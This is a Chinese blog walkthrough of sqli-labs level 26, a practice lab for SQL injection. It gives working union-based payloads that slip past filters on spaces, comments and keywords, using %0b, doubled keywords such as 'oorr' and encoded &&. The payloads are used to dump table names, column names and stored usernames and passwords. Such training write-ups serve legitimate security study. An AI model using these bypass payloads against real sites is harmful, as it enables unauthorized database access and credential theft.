sqli-labs/Less-26关

这一关的欢迎界面显示空格和注释符都被注释掉了 所以说空格我们用%0a绕过处理 然后注释符用万能密码进行绕过处理

首先判断是否为数字型

输入如下

1%0aand%0a1=2

回显如下

 查出来竟然不是第一条数据 所以说and应该被过滤了 而且应该全部的逻辑运算符都被过滤掉了 所以我们用字符来代替字母写法 用&&代替and 用||代替or 或者使用双写绕过的思想进行处理

使用以上两种做法进行解题的回显如下所示

 

 

 

然后输入1' 回显如下

 

但是作证我们不能写--+得用万能密码替代 

作证如下

1'%0aoorr%0a'1'='1

 也是正确回显了

 接下来的步骤由于之前对于正确和错误的输入都存在回显和报错信息 所以既可以使用联合注入 又可以使用报错注入 我们这边是用联合注入的方式

首先判断一下回显点

输入如下

id=1'%0aunion%0aselect%0a1,2,3%0aoorr%0a'1'='1

 又报错了 不懂为什么%0a不能用了 %0b却可以用

所以我们以上语句写成如下形式

id=-1'%0bunion%0bselect%0b1,2,3||'1'='1

但是虽然存在回显了 但是不是我们想要的结果啊 没有回显出1,2,3中的任何一个

我们猜想注释符号中有一个--+ 他会不会是把我们的符号当作了注释符号看待 所以这边我们只能使用0作为主查询的数

最终版本为如下形式

id=0'%0bunion%0bselect%0b1,2,3||'1'='1

终于回显了 回显如下

接着开始我们的爆库/版本号

输入如下

id=0'%0bunion%0bselect%0bversion(),database(),3||'1'='1

 好坑啊 我以为回显位会是前两位的 结果却只有一位回显了(第二位回显了) password处的回显不懂是什么 那么现在只能利用第二位了

重新爆库

输入如下

id=0'%0bunion%0bselect%0b1,database(),3||'1'='1

回显如下

爆表 输入如下

id=0'%0bunion%0bselect%0b2,group_concat(table_name),4%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%26%26'1'='1

 爆表过程中可能会出现的两个问题:

1.&&不管用 那就用%26%26替代

2.万能密码不要写成or 1=1这样会把除了当前数据库以外的其他库的表都给查询出来 我们用and 1=1替代他

回显如下

爆字段

输入如下

id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0b%26%26%0btable_schema=database()%26%26'1'='1

 

接着爆用户名和密码相关信息 输入如下

id=0'%0bunion%0bselect%0b1,group_concat(username,passwoorrd),3%0bfrom%0busers%26%26'1'='1

这边不知道为什么写成and 1=1报错 所以我索性写成了where 1=1 就成功了 回显如下

 这一关使用联合注入好麻烦 还是建议使用报错注入吧 不过还是成功了 嗨嗨!!

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

axihaihai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值